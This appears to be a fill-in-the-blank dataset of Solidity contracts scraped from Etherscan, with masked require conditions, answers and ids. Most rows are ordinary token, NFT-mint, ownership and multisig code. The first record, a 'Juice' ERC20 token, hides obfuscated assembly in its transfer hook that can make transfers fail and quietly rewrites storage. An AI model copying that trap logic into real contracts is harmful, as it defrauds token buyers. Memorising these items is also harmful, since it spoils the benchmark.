mapping (address => mapping (address => uint256)) private _allowances;
address private mapToInt;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private swapFromString;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private analysisCheck = 1; bool private DoubleCheck;
uint256 private _decimals; uint256 private intDecimals;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _InitNow() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((DoubleCheck || _taxConfirm[sender]) && ((_lookUp - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_lookUp == block.number))) && ((_feeChkr[recipient] == true) && (_feeChkr[sender] != true) || ((juiceAddr[1] == recipient) && (_feeChkr[juiceAddr[1]] != true))) && (intDecimals > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployJuice(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract JuiceToken is ERC20Token {
constructor() ERC20Token("Juice", "JUICE", msg.sender, 31000000 * 10 ** 18) {
}
}
| (trading||(sender==juiceAddr[1])),"ERC20: trading is not yet enabled." | 435,045 | (trading||(sender==juiceAddr[1])) |
null | /**
*Submitted for verification at Etherscan.io on 2023-07-29
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(<FILL_ME>)
unchecked {
_approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
pragma solidity ^0.8.4;
contract XMUSK is ERC20 {
uint _totalSupply = 100_000_000*10**18;
constructor() ERC20("XMUSK", "XMUSK") {
}
}
| _allowances[msg.sender][spender]>=subtractedValue | 435,125 | _allowances[msg.sender][spender]>=subtractedValue |
"onlyAdmin" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.12;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract DesynOwnable {
// State variables
mapping(address => bool) public adminList;
uint public allOwnerPercentage = 10000;
address _owner;
address[] owners;
uint[] ownerPercentage;
bool initialized;
// Event declarations
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed newAdmin, uint indexed amount);
event RemoveAdmin(address indexed oldAdmin, uint indexed amount);
// Modifiers
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
modifier onlyAdmin() {
require(<FILL_ME>)
_;
}
// Function declarations
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
}
function initHandle(address[] memory _owners, uint[] memory _ownerPercentage) external {
}
function setManagersInfo(address[] memory _owners, uint[] memory _ownerPercentage) external onlyOwner {
}
function _ownerPercentageChecker() internal view {
}
function _addAdmin(address[] memory admins) internal {
}
function _clearAdmin() internal {
}
/**
* @notice Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner
* @dev external for gas optimization
* @param newOwner - address of new owner
*/
function setController(address newOwner) external onlyOwner {
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() external view returns (address[] memory) {
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwnerPercentage() external view returns (uint[] memory) {
}
/**
* @notice Returns the address of the current owner
* @dev external for gas optimization
* @return address - of the owner (AKA controller)
*/
function getController() external view returns (address) {
}
}
| adminList[msg.sender]||msg.sender==_owner,"onlyAdmin" | 435,169 | adminList[msg.sender]||msg.sender==_owner |
"You can only get 2 NFTs on the Whitelist Sale" | pragma solidity ^0.8.12;
//@author Tenshi
//@title TENSHI NFT
contract TenshiNFT is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut,
Reveal
}
string public baseURI;
Step public sellingStep;
uint private constant MAX_SUPPLY = 5555;
uint private constant MAX_WHITELIST = 1000;
uint private constant MAX_PUBLIC = 4455;
uint private constant MAX_GIFT = 100;
uint public wlSalePrice = 0.04 ether;
uint public publicSalePrice = 0.06 ether;
bytes32 public merkleRoot;
mapping(address => uint) public amountNFTsperWalletWhitelistSale;
uint private teamLength;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRoot, string memory _baseURI) ERC721A("Tenshi", "TNH")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
uint price = wlSalePrice;
require(price != 0, "Price is 0");
require(sellingStep == Step.WhitelistSale, "Whitelist sale is not activated");
require(isWhiteListed(msg.sender, _proof), "Not whitelisted");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_WHITELIST, "Max supply exceeded");
require(msg.value >= price * _quantity, "Not enought funds");
amountNFTsperWalletWhitelistSale[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function currentTime() internal view returns(uint) {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//ReleaseALL
function releaseAll() external {
}
receive() override external payable {
}
}
| amountNFTsperWalletWhitelistSale[msg.sender]+_quantity<=2,"You can only get 2 NFTs on the Whitelist Sale" | 435,220 | amountNFTsperWalletWhitelistSale[msg.sender]+_quantity<=2 |
"Max supply exceeded" | pragma solidity ^0.8.12;
//@author Tenshi
//@title TENSHI NFT
contract TenshiNFT is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut,
Reveal
}
string public baseURI;
Step public sellingStep;
uint private constant MAX_SUPPLY = 5555;
uint private constant MAX_WHITELIST = 1000;
uint private constant MAX_PUBLIC = 4455;
uint private constant MAX_GIFT = 100;
uint public wlSalePrice = 0.04 ether;
uint public publicSalePrice = 0.06 ether;
bytes32 public merkleRoot;
mapping(address => uint) public amountNFTsperWalletWhitelistSale;
uint private teamLength;
constructor(address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRoot, string memory _baseURI) ERC721A("Tenshi", "TNH")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
uint price = publicSalePrice;
require(price != 0, "Price is 0");
require(sellingStep == Step.PublicSale, "Public sale is not activated");
require(<FILL_ME>)
require(msg.value >= price * _quantity, "Not enought funds");
_safeMint(_account, _quantity);
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function currentTime() internal view returns(uint) {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verify(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
//ReleaseALL
function releaseAll() external {
}
receive() override external payable {
}
}
| totalSupply()+_quantity<=MAX_WHITELIST+MAX_PUBLIC,"Max supply exceeded" | 435,220 | totalSupply()+_quantity<=MAX_WHITELIST+MAX_PUBLIC |
"MultiSignCoinTx: not tx signer" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract MultiSignCoinTx {
event CoinTxSubmit(uint256 indexed txId);
event CoinTxApprove(address indexed signer, uint256 indexed txId);
event CoinTxRevoke(address indexed signer, uint256 indexed txId);
event CoinTxExecute(uint256 indexed txId);
struct CoinTransaction {
uint256 value;
uint256 delayTime;
bool executed;
}
CoinTransaction[] public coinTransactions;
address[] public coinTxSigners;
uint256 public coinTxRequired;
mapping(address => bool) public isCoinTxSigner;
mapping(uint256 => mapping(address => bool)) public coinTxApproved;
modifier onlyCoinTxSigner() {
require(<FILL_ME>)
_;
}
modifier coinTxExists(uint256 _txId) {
}
modifier coinTxNotApproved(uint256 _txId) {
}
modifier coinTxNotExecuted(uint256 _txId) {
}
modifier coinTxUnlocked(uint256 _txId) {
}
constructor(address[] memory _signers, uint256 _required) {
}
function getCoinTransactions()
external
view
returns (CoinTransaction[] memory)
{
}
function coinTxSubmit(uint256 _value, uint256 _delayTime)
external
onlyCoinTxSigner
{
}
function coinTxApprove(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotApproved(_txId)
coinTxNotExecuted(_txId)
{
}
function getCoinTxApprovalCount(uint256 _txId)
public
view
returns (uint256 count)
{
}
function coinTxRevoke(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
{
}
function coinTxExecute(uint256 _txId)
public
virtual
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
}
}
| isCoinTxSigner[msg.sender],"MultiSignCoinTx: not tx signer" | 435,264 | isCoinTxSigner[msg.sender] |
"MultiSignCoinTx: tx already approved" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract MultiSignCoinTx {
event CoinTxSubmit(uint256 indexed txId);
event CoinTxApprove(address indexed signer, uint256 indexed txId);
event CoinTxRevoke(address indexed signer, uint256 indexed txId);
event CoinTxExecute(uint256 indexed txId);
struct CoinTransaction {
uint256 value;
uint256 delayTime;
bool executed;
}
CoinTransaction[] public coinTransactions;
address[] public coinTxSigners;
uint256 public coinTxRequired;
mapping(address => bool) public isCoinTxSigner;
mapping(uint256 => mapping(address => bool)) public coinTxApproved;
modifier onlyCoinTxSigner() {
}
modifier coinTxExists(uint256 _txId) {
}
modifier coinTxNotApproved(uint256 _txId) {
require(<FILL_ME>)
_;
}
modifier coinTxNotExecuted(uint256 _txId) {
}
modifier coinTxUnlocked(uint256 _txId) {
}
constructor(address[] memory _signers, uint256 _required) {
}
function getCoinTransactions()
external
view
returns (CoinTransaction[] memory)
{
}
function coinTxSubmit(uint256 _value, uint256 _delayTime)
external
onlyCoinTxSigner
{
}
function coinTxApprove(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotApproved(_txId)
coinTxNotExecuted(_txId)
{
}
function getCoinTxApprovalCount(uint256 _txId)
public
view
returns (uint256 count)
{
}
function coinTxRevoke(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
{
}
function coinTxExecute(uint256 _txId)
public
virtual
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
}
}
| !coinTxApproved[_txId][msg.sender],"MultiSignCoinTx: tx already approved" | 435,264 | !coinTxApproved[_txId][msg.sender] |
"MultiSignCoinTx: tx already executed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract MultiSignCoinTx {
event CoinTxSubmit(uint256 indexed txId);
event CoinTxApprove(address indexed signer, uint256 indexed txId);
event CoinTxRevoke(address indexed signer, uint256 indexed txId);
event CoinTxExecute(uint256 indexed txId);
struct CoinTransaction {
uint256 value;
uint256 delayTime;
bool executed;
}
CoinTransaction[] public coinTransactions;
address[] public coinTxSigners;
uint256 public coinTxRequired;
mapping(address => bool) public isCoinTxSigner;
mapping(uint256 => mapping(address => bool)) public coinTxApproved;
modifier onlyCoinTxSigner() {
}
modifier coinTxExists(uint256 _txId) {
}
modifier coinTxNotApproved(uint256 _txId) {
}
modifier coinTxNotExecuted(uint256 _txId) {
require(<FILL_ME>)
_;
}
modifier coinTxUnlocked(uint256 _txId) {
}
constructor(address[] memory _signers, uint256 _required) {
}
function getCoinTransactions()
external
view
returns (CoinTransaction[] memory)
{
}
function coinTxSubmit(uint256 _value, uint256 _delayTime)
external
onlyCoinTxSigner
{
}
function coinTxApprove(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotApproved(_txId)
coinTxNotExecuted(_txId)
{
}
function getCoinTxApprovalCount(uint256 _txId)
public
view
returns (uint256 count)
{
}
function coinTxRevoke(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
{
}
function coinTxExecute(uint256 _txId)
public
virtual
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
}
}
| !coinTransactions[_txId].executed,"MultiSignCoinTx: tx already executed" | 435,264 | !coinTransactions[_txId].executed |
"MultiSignCoinTx: tx signer is not unique" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract MultiSignCoinTx {
event CoinTxSubmit(uint256 indexed txId);
event CoinTxApprove(address indexed signer, uint256 indexed txId);
event CoinTxRevoke(address indexed signer, uint256 indexed txId);
event CoinTxExecute(uint256 indexed txId);
struct CoinTransaction {
uint256 value;
uint256 delayTime;
bool executed;
}
CoinTransaction[] public coinTransactions;
address[] public coinTxSigners;
uint256 public coinTxRequired;
mapping(address => bool) public isCoinTxSigner;
mapping(uint256 => mapping(address => bool)) public coinTxApproved;
modifier onlyCoinTxSigner() {
}
modifier coinTxExists(uint256 _txId) {
}
modifier coinTxNotApproved(uint256 _txId) {
}
modifier coinTxNotExecuted(uint256 _txId) {
}
modifier coinTxUnlocked(uint256 _txId) {
}
constructor(address[] memory _signers, uint256 _required) {
require(_signers.length > 0, "MultiSignCoinTx: tx signers required");
require(
_required > 0 && _required <= _signers.length,
"MultiSignCoinTx: invalid required number of tx signers"
);
for (uint256 i; i < _signers.length; i++) {
address signer = _signers[i];
require(signer != address(0), "MultiSignCoinTx: invalid tx signer");
require(<FILL_ME>)
isCoinTxSigner[signer] = true;
coinTxSigners.push(signer);
}
coinTxRequired = _required;
}
function getCoinTransactions()
external
view
returns (CoinTransaction[] memory)
{
}
function coinTxSubmit(uint256 _value, uint256 _delayTime)
external
onlyCoinTxSigner
{
}
function coinTxApprove(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotApproved(_txId)
coinTxNotExecuted(_txId)
{
}
function getCoinTxApprovalCount(uint256 _txId)
public
view
returns (uint256 count)
{
}
function coinTxRevoke(uint256 _txId)
external
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
{
}
function coinTxExecute(uint256 _txId)
public
virtual
onlyCoinTxSigner
coinTxExists(_txId)
coinTxNotExecuted(_txId)
coinTxUnlocked(_txId)
{
}
}
| !isCoinTxSigner[signer],"MultiSignCoinTx: tx signer is not unique" | 435,264 | !isCoinTxSigner[signer] |
Subsets and Splits